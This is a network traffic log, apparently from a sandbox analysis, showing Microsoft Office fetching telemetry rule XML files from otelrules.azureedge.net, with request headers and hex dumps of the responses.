2024-11-19 18:15:11 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.4	49920	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:13 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 18:15:13 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:15:13 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 47e3bf54-c01e-0082-038c-3aaf72000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T181513Z-1777c6cb7549x5qchC1TEBggbg00000008hg00000000a0q9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 18:15:13 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.4	49923	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:13 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 18:15:13 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:15:13 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: ff95cf15-b01e-0001-328c-3a46e2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T181513Z-185f5d8b95ckwnflhC1NYCx9qs000000093000000000s80t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 18:15:13 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.4	49921	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:13 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 18:15:13 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:15:13 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 733c6689-901e-007b-288c-3aac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T181513Z-185f5d8b95c4vwv8hC1NYCy4v4000000096000000000q4zz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 18:15:13 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.4	49922	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:13 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 18:15:13 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:15:13 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: 85babd8c-f01e-003f-4e8c-3ad19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T181513Z-1777c6cb754xlpjshC1TEBv8cc00000008gg00000000sahp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-19 18:15:13 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.4	49919	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:13 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 18:15:13 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:15:13 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: 8e68b69a-701e-005c-5c8c-3abb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T181513Z-185f5d8b95cdh56ghC1NYCk1x400000002zg000000008m4c x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 18:15:13 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.4	49924	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:13 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 18:15:14 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:15:13 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: d35eb2be-501e-0064-3d8c-3a1f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T181513Z-1777c6cb754rz2pghC1TEBghen000000088000000000u31k x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 18:15:14 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.4	49925	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:13 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 18:15:14 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:15:13 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: 6d4f85c2-e01e-0003-2b8c-3a0fa8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T181513Z-185f5d8b95cwtv72hC1NYC141w000000091g0000000088yw x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 18:15:14 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.4	49928	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:13 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 18:15:14 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:15:13 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 297afce4-701e-0053-438c-3a3a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T181513Z-r1d97b99577jlrkbhC1TEBq8d000000007mg00000000cedg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 18:15:14 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.4	49927	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:13 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 18:15:14 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:15:13 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: 96e0b134-501e-0035-148c-3ac923000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T181513Z-185f5d8b95cdcwrthC1NYCy5b8000000091g00000000m3q3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 18:15:14 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.4	49926	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:13 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 18:15:14 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:15:13 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: c1a1f15b-901e-005b-358c-3a2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T181513Z-1777c6cb754mrj2shC1TEB6k7w00000008pg00000000291e x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 18:15:14 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.4	49929	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:14 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 18:15:14 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:15:14 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: e045c2d1-201e-003c-718c-3a30f9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T181514Z-185f5d8b95cmd8vfhC1NYC0g40000000052000000000381z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-19 18:15:14 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.4	49930	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:14 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
